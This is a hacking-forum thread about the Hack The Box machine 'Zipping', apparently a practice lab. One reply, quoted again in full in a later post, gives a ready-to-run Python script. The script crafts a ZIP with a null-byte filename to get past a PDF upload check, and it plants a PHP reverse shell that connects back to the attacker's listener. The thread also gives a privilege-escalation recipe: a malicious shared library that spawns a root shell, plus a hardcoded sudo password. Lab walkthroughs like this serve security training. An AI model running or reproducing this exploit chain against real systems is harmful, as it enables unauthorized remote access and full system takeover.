[FREE] HTB Zipping - DETAILED WRITE-UP
by Mandelio - Monday August 28, 2023 at 12:55 AM
#1
Hi guys! I'm releasing my second writeup on here.
This time I converted from Markdown to BBCode so it's much more readable.

As always, it includes my thought process and an explanation of what's actually happening. I'll also include an autopwn script soon Smile
Hidden Content
You must register or login to view this content.
Reply
#2
My dude! Thank you for sharing this.
Reply
#3
i wrote a script to get reverse shell for user.
start nc port 9001 and then run like this: python script.py -L <your-IP> -R <target-IP>

from struct import pack import argparse import zlib import requests parser = argparse.ArgumentParser(description='Exploit Zipper') parser.add_argument('-L', '--listener_ip', help='listener ip') parser.add_argument('-R', '--target_ip', help='target ip') args = parser.parse_args() filename1 = b'rev.php.pdf' filename2 = b'rev.php\x00.pdf' filecontent = b"""<?php system("bash -c 'bash -i >& /dev/tcp/"""+args.listener_ip.encode()+b"""/9001 0>&1'"); ?>""" length = len(filecontent) crc = zlib.crc32(filecontent) p  = b'' p += b'\x50\x4b\x03\x04' # magic bytes p += b'\x14\x00' # version p += b'\x00\x00' # flags p += b'\x00\x00' # compression p += b'\x48\xb9' # modtime p += b'\x1b\x57' # moddate p += pack("<L", crc) # crc p += pack("<L", length) # compressed size p += pack("<L", length) # uncompressed size p += pack("<H", len(filename1)) # filename len p += b'\x00\x00' # extra field len p += filename1 p += filecontent # central directory cd  = b'' cd += b'\x50\x4b\x01\x02' # magic bytes cd += b'\x14\x03' # version cd += b'\x14\x00' # version needed cd += b'\x00\x00' # flags cd += b'\x00\x00' # compression cd += b'\x48\xb9' # modtime cd += b'\x1b\x57' # moddate cd += pack("<L", crc) # crc cd += pack("<L", length) # compressed size cd += pack("<L", length) # uncompressed size cd += pack("<H", len(filename2)) # filename len cd += b'\x00\x00' # extra field len cd += b'\x00\x00' # file comm. len cd += b'\x00\x00' # disk start cd += b'\x00\x00' # internal attr. cd += b'\x00\x00\xA4\x81' # external attr cd += b'\x00\x00\x00\x00' # offset of local header cd += filename2 # end of centryl directory record ecd  = b'' ecd += b'\x50\x4b\x05\x06' # magic bytes ecd += b'\x00\x00' # disk number ecd += b'\x00\x00' # disc # w/cd ecd += b'\x01\x00' # disc entries ecd += b'\x01\x00' # total entries ecd += pack("<L", len(cd)) # central directory size ecd += pack("<L", len(p)) ecd += b'\x00\x00' f = open("rev.zip", "wb") f.write(p+cd+ecd) f.close() url = "http://{}/upload.php".format(args.target_ip) headers = {"Content-Type":'multipart/form-data'} files = {'submit':(None,''),'zipFile':('rev.zip',p+cd+ecd)} resp = requests.post(url, files=files) for line in resp.text.split('\n'):     if 'uploads' in line:         requests.get("http://{}/{}".format(args.target_ip,line.split('"')[1].split(" ")[0]))         exit(0)

-----------------

for privesc, you can see the binary /usr/bin/stock, when you call "sudo -l"
you can reverse engineer the binary and find the password and find that it loads the shared object from /home/rektsu/.config/libcounter.so
to exploit, you need to create malicious libcounter.so binary

example code (filename: exploit.c):

#include <unistd.h> void begin (void) __attribute__((destructor)); void begin (void) {     system("bash -p"); }

compile the code like this on the target machine:
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC exploit.c

then you can run the binary with sudo:
sudo /usr/bin/stock
# password: St0ckM4nager

press 3 to exit and you get root shell
Ban reason: Spamming | Contact us via http://raiddfzn73ir6iyxlf7nwytnujiflddog...on/contact if you feel this is incorrect. (Permanent)
Reply
#4
(08-28-2023, 06:37 AM)randomname188 Wrote: i wrote a script to get reverse shell for user.
start nc port 9001 and then run like this: python script.py -L <your-IP> -R <target-IP>

from struct import pack import argparse import zlib import requests parser = argparse.ArgumentParser(description='Exploit Zipper') parser.add_argument('-L', '--listener_ip', help='listener ip') parser.add_argument('-R', '--target_ip', help='target ip') args = parser.parse_args() filename1 = b'rev.php.pdf' filename2 = b'rev.php\x00.pdf' filecontent = b"""<?php system("bash -c 'bash -i >& /dev/tcp/"""+args.listener_ip.encode()+b"""/9001 0>&1'"); ?>""" length = len(filecontent) crc = zlib.crc32(filecontent) p  = b'' p += b'\x50\x4b\x03\x04' # magic bytes p += b'\x14\x00' # version p += b'\x00\x00' # flags p += b'\x00\x00' # compression p += b'\x48\xb9' # modtime p += b'\x1b\x57' # moddate p += pack("<L", crc) # crc p += pack("<L", length) # compressed size p += pack("<L", length) # uncompressed size p += pack("<H", len(filename1)) # filename len p += b'\x00\x00' # extra field len p += filename1 p += filecontent # central directory cd  = b'' cd += b'\x50\x4b\x01\x02' # magic bytes cd += b'\x14\x03' # version cd += b'\x14\x00' # version needed cd += b'\x00\x00' # flags cd += b'\x00\x00' # compression cd += b'\x48\xb9' # modtime cd += b'\x1b\x57' # moddate cd += pack("<L", crc) # crc cd += pack("<L", length) # compressed size cd += pack("<L", length) # uncompressed size cd += pack("<H", len(filename2)) # filename len cd += b'\x00\x00' # extra field len cd += b'\x00\x00' # file comm. len cd += b'\x00\x00' # disk start cd += b'\x00\x00' # internal attr. cd += b'\x00\x00\xA4\x81' # external attr cd += b'\x00\x00\x00\x00' # offset of local header cd += filename2 # end of centryl directory record ecd  = b'' ecd += b'\x50\x4b\x05\x06' # magic bytes ecd += b'\x00\x00' # disk number ecd += b'\x00\x00' # disc # w/cd ecd += b'\x01\x00' # disc entries ecd += b'\x01\x00' # total entries ecd += pack("<L", len(cd)) # central directory size ecd += pack("<L", len(p)) ecd += b'\x00\x00' f = open("rev.zip", "wb") f.write(p+cd+ecd) f.close() url = "http://{}/upload.php".format(args.target_ip) headers = {"Content-Type":'multipart/form-data'} files = {'submit':(None,''),'zipFile':('rev.zip',p+cd+ecd)} resp = requests.post(url, files=files) for line in resp.text.split('\n'):     if 'uploads' in line:         requests.get("http://{}/{}".format(args.target_ip,line.split('"')[1].split(" ")[0]))         exit(0)

-----------------

for privesc, you can see the binary /usr/bin/stock, when you call "sudo -l"
you can reverse engineer the binary and find the password and find that it loads the shared object from /home/rektsu/.config/libcounter.so
to exploit, you need to create malicious libcounter.so binary

example code (filename: exploit.c):

#include <unistd.h> void begin (void) __attribute__((destructor)); void begin (void) {     system("bash -p"); }

compile the code like this on the target machine:
gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC exploit.c

then you can run the binary with sudo:
sudo /usr/bin/stock
# password: St0ckM4nager

press 3 to exit and you get root shell

Hi there, I'm currently writing an autopwn script that handles everything internally without needing to start external listener Smile
I started writing it 30 minutes ago and I'm almost done... stay tuned, gonna update the post soon Smile

Still thanks for sharing your script, appreciate it Big Grin
Reply
#5
Heey, thanks a lot!

I need some help understanding the exploit.

From your code, here's what I could understand / get: you basically added the php rev shell file, then added a weird format that doesn't exist with a null byte to bypass the .pdf check, then added an 'empty' zip .... can you please explain what was done?
Reply
#6
(08-28-2023, 05:33 PM)PK6CfvT8 Wrote: Heey, thanks a lot!

I need some help understanding the exploit.

From your code, here's what I could understand / get:  you basically added the php rev shell file, then added a weird format that doesn't exist with a null byte to bypass the .pdf check, then added an 'empty' zip .... can you please explain what was done?

i followed the zip format: https://users.cs.jmu.edu/buchhofp/forens...pkzip.html
also: if you create a zipfile and look at it in a hexeditor, you can see the format described in the website and in my code
I did not add anything special, I just followed the format and changed the second filename to include a nullbyte
Ban reason: Spamming | Contact us via http://raiddfzn73ir6iyxlf7nwytnujiflddog...on/contact if you feel this is incorrect. (Permanent)
Reply
#7
this one was kind of easy-to-medium. nice writeup, thnx
Reply
#8
Thanks for the share
Reply
#9
Thank you very much!
This helped me a lot
Reply
#10
thank you! Very appreciate the help!!

thank you SOOOO much
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Hack the box Pro Labs, VIP, VIP+ 1 month free Method RedBlock 22 3,873 06-25-2026, 02:15 PM
Last Post: hashxyz
  [FREE] HackTheBox Academy - CBBH CDSA CPTS All Modules Flags Techtom 19 4,125 06-25-2026, 12:30 PM
Last Post: hashxyz
  [FREE] CPTS 12 FLAGS pulsebreaker 60 3,008 06-24-2026, 04:35 PM
Last Post: subscribar60
  [FREE] 300+ Writeups PDF HackTheBox/HTB premium retired Tamarisk 360 90,639 03-28-2026, 09:28 AM
Last Post: catsweet
  [FREE] HTB-ProLabs APTLABS Just Flags kewlsunny 23 4,177 03-28-2026, 03:30 AM
Last Post: lulaladrow



 Users browsing this thread: 1 Guest(s)